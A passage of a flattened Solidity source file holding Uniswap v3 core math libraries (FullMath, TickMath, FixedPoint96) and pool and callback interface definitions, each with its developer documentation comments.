/// @dev Returns the key of the position in the core library
function compute(
address owner,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
}
}
// Part: Uniswap/uniswap-v3-core@1.0.0/FixedPoint96
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// Part: Uniswap/uniswap-v3-core@1.0.0/FullMath
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = denominator & (~denominator + 1);
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3MintCallback
/// @title Callback for IUniswapV3PoolActions#mint
/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface
interface IUniswapV3MintCallback {
/// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// @param amount0Owed The amount of token0 due to the pool for the minted liquidity
/// @param amount1Owed The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0Owed,
uint256 amount1Owed,
bytes calldata data
) external;
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolActions
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolDerivedState
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolEvents
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolImmutables
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolOwnerActions
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3PoolState
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// Part: Uniswap/uniswap-v3-core@1.0.0/IUniswapV3SwapCallback
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// Part: Uniswap/uniswap-v3-core@1.0.0/TickMath
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(uint24(MAX_TICK)), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
